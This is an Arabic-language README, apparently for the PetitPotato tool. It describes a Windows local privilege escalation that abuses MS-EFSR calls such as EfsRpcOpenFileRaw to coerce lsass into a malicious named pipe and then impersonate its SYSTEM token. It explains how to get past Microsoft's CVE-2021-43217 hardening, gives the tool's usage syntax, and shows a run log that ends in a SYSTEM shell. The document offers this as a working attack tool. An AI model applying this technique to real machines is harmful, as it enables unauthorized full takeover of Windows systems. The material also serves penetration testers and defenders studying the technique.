
تصعيد الامتيازات محليًا عبر PetitPotam (استغلال صلاحيات الانتحال).
تصعيد الامتيازات المحلي عبر PetitPotam (إساءة استخدام امتيازات الانتحال).
يستخدم PetitPotam بروتوكول MS-EFSR (نظام الملفات المشفرة عن بُعد)، وهو بروتوكول يُستخدم لتنفيذ عمليات الصيانة والإدارة على البيانات المشفرة المخزنة عن بُعد والتي يتم الوصول إليها عبر الشبكة. توجد سلسلة من واجهات برمجة التطبيقات المشابهة لواجهة EfsRpcOpenFileRaw في MS-EFSR. يظهر تركيب واجهة EfsRpcOpenFileRaw أدناه.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
يمكن لهذه الواجهات تحديد مسار UNC عبر معامل FileName لفتح الكائنات المشفرة على الخادم للنسخ الاحتياطي أو الاستعادة. عندما يتم تحديد مسار بالتنسيق \\IP\C$، ستصل خدمة lsass.exe إلى \\IP\pipe\srvsvc بصلاحيات حساب NT AUTHORITY SYSTEM.
إذا تمكنا من استدعاء واجهة EfsRpcOpenFileRaw لإجبار الكمبيوتر المحلي على الاتصال بالأنبوب المحدد (named pipe) الخبيث الذي أنشأناه، فيمكننا عندها انتحال عملية عميل الأنبوب المحدد وفي النهاية الحصول على صلاحية SYSTEKM.
لكن الإصدارات القديمة من PetitPotam لا تعمل على الإصدارات الأحدث من Windows بسبب قيود التصحيحات ذات الصلة. ومع ذلك، فإن تعيين AuthnLevel إلى RPC_C_AUTHN_LEVEL_PKT_PRIVACY عبر RpcBindingSetAuthInfoW قبل استدعاء EFS يعمل على أحدث الأنظمة.
في ديسمبر 2021، أصدرت Microsoft تصحيحًا لثغرة أمنية مختلفة في EFSRPC: CVE-2021-43217. وكجزء من معالجة تلك المشكلة، نفذت Microsoft بعض إجراءات التحصين على اتصالات EFSRPC. على وجه الخصوص، يجب على عملاء EFSRPC استخدام RPC_C_AUTHN_LEVEL_PKT_PRIVACY عند استخدام EFSRPC. إذا فشل العميل في القيام بذلك، فسيتم رفض العميل ويتم إنشاء حدث تطبيق Windows.
في الوقت الحالي، يمكن للمشروع رفع الصلاحيات إلى SYSTEM بشكل مثالي على جميع إصدارات Windows (تم الاختبار على Windows 21H2 10.0.20348.1547).
PetitPotato.exe [EfsID] [Command]
EfsID: رقم واجهة برمجة التطبيقات MS-EFSR المراد استخدامهاCommand: الأمر المراد تنفيذهC:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
